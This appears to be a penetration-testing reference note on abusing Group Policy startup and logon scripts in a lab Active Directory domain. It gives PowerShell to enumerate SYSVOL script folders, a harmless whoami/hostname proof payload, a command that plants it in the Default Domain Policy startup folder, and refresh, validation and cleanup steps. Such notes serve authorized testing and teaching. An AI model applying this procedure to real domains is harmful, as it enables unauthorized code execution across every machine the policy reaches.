Startup, shutdown, logon, and logoff scripts are classic GPO execution paths. Computer startup scripts execute in the machine context. User logon scripts execute in the user context. The practical abuse is to place or configure a script through a GPO that already applies to the target scope.
Script locations
\\ootw.local\SYSVOL\ootw.local\Policies\{GPO-GUID}\Machine\Scripts\Startup
\\ootw.local\SYSVOL\ootw.local\Policies\{GPO-GUID}\Machine\Scripts\Shutdown
\\ootw.local\SYSVOL\ootw.local\Policies\{GPO-GUID}\User\Scripts\Logon
\\ootw.local\SYSVOL\ootw.local\Policies\{GPO-GUID}\User\Scripts\Logoff
Find script folders
Get-ChildItem "\\ootw.local\SYSVOL\ootw.local\Policies" -Recurse -Directory |
Where-Object { $_.FullName -match "Scripts\\(Startup|Shutdown|Logon|Logoff)$" } |
Select-Object FullName
Find existing scripts
Get-ChildItem "\\ootw.local\SYSVOL\ootw.local\Policies" -Recurse -Include *.ps1,*.bat,*.cmd,*.vbs,Scripts.ini |
Select-Object FullName,LastWriteTime
Example batch payload
whoami > C:\Windows\Temp\gpo-script.txt
hostname >> C:\Windows\Temp\gpo-script.txt
Copy into a known writable startup folder
Copy-Item .\startup.bat "\\ootw.local\SYSVOL\ootw.local\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\Machine\Scripts\Startup\startup.bat"
Force refresh
gpupdate /force
Validate
Get-Content C:\Windows\Temp\gpo-script.txt
Cleanup
Remove-Item "\\ootw.local\SYSVOL\ootw.local\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\Machine\Scripts\Startup\startup.bat"
Notes
Dropping a file into the script folder is not always enough. The GPO must also contain the script metadata that tells clients to run it. Use GPMC or tested tooling when precision matters.
Startup scripts require a reboot or startup policy processing. Logon scripts require a user logon.